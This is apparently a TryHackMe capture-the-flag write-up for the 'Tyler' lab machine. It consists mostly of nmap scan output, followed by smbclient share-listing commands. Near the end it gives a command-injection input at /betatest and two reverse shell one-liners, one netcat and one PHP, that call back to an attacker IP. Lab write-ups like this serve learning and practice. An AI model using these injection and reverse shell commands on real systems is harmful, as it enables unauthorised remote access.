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TryHackMe/Tyler.md
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TryHackMe/Tyler.md
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# TryHackMe-Tyler
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## NMAP
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```
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Nmap scan report for 10.10.35.103
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Host is up (0.18s latency).
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Not shown: 992 closed ports
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
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| ssh-hostkey:
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| 2048 46:6c:5a:31:5f:c1:1f:f3:65:e7:64:f2:c5:f5:59:d8 (RSA)
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| 256 5d:a5:8a:af:1e:21:48:7a:04:22:3e:4a:f5:e4:5b:02 (ECDSA)
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|_ 256 6a:44:1c:e1:15:c9:5e:94:da:06:8d:db:d2:bc:66:54 (ED25519)
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80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.16)
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| http-methods:
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|_ Potentially risky methods: TRACE
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|_http-server-header: Apache/2.4.6 (CentOS) PHP/7.3.16
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|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
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139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
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445/tcp open netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
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3306/tcp open mysql MariaDB (unauthorized)
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5000/tcp open http Werkzeug httpd 1.0.0 (Python 3.6.8)
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|_http-title: Tyler's file upload
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8080/tcp open http nginx 1.16.1
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| http-robots.txt: 1 disallowed entry
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|_/
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|_http-server-header: nginx/1.16.1
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| http-title: LibreNMS
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|_Requested resource was http://10.10.35.103:8080/login
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|_http-trane-info: Problem with XML parsing of /evox/about
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9999/tcp open abyss?
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| fingerprint-strings:
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| FourOhFourRequest, GetRequest, HTTPOptions:
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| HTTP/1.0 200 OK
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| Accept-Ranges: bytes
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| Content-Length: 1
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| Content-Type: text/plain; charset=utf-8
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| Last-Modified: Thu, 26 Mar 2020 11:36:37 GMT
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| Date: Tue, 29 Sep 2020 14:17:45 GMT
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| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
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| HTTP/1.1 400 Bad Request
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| Content-Type: text/plain; charset=utf-8
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| Connection: close
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|_ Request
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1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
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SF-Port9999-TCP:V=7.80%I=7%D=9/29%Time=5F734209%P=x86_64-pc-linux-gnu%r(Ge
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SF:tRequest,B9,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nConte
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SF:nt-Length:\x201\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nLas
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SF:t-Modified:\x20Thu,\x2026\x20Mar\x202020\x2011:36:37\x20GMT\r\nDate:\x2
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SF:0Tue,\x2029\x20Sep\x202020\x2014:17:45\x20GMT\r\n\r\n\n")%r(HTTPOptions
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SF:,B9,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nContent-Lengt
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SF:h:\x201\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nLast-Modifi
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SF:ed:\x20Thu,\x2026\x20Mar\x202020\x2011:36:37\x20GMT\r\nDate:\x20Tue,\x2
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SF:029\x20Sep\x202020\x2014:17:45\x20GMT\r\n\r\n\n")%r(FourOhFourRequest,B
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SF:9,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\nContent-Length:
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SF:\x201\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nLast-Modified
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SF::\x20Thu,\x2026\x20Mar\x202020\x2011:36:37\x20GMT\r\nDate:\x20Tue,\x202
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SF:9\x20Sep\x202020\x2014:17:45\x20GMT\r\n\r\n\n")%r(GenericLines,67,"HTTP
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SF:/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20chars
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SF:et=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(RTSPR
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SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
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SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
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SF:quest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
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SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
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SF:ad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
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SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
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SF:e\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x
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SF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-
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SF:8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionRe
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SF:q,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain
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SF:;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request
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SF:")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
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SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
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SF:d\x20Request")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCo
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SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
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SF:\r\n400\x20Bad\x20Request");
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Service Info: Host: TYLER
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Host script results:
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|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
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|_nbstat: NetBIOS name: TYLER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
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| smb-os-discovery:
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| OS: Windows 6.1 (Samba 4.9.1)
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| Computer name: tyler
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| NetBIOS computer name: TYLER\x00
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| Domain name: \x00
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| FQDN: tyler
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|_ System time: 2020-09-29T10:19:13-04:00
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| smb-security-mode:
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| account_used: <blank>
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| authentication_level: user
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| challenge_response: supported
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|_ message_signing: disabled (dangerous, but default)
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| smb2-security-mode:
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| 2.02:
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|_ Message signing enabled but not required
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| smb2-time:
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| date: 2020-09-29T14:19:14
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|_ start_date: N/A
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 110.28 seconds
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```
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## PORT 5000
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Can upload
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## PORT 8080
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Can login
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## SMB
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```
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smbclient -L \\\\<machine_ip>\\
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smbclient \\\\<machine_ip>\\public
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```
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## PORT 80
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Navigate to `/betatest` where you find RCE
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`root;reverse_shell`
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#### Reverse shell
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##### Netcat
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```
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nc -e /bin/sh 10.8.94.60 8888
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```
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##### PHP
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```
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php -r '$sock=fsockopen("10.8.94.60",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
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```
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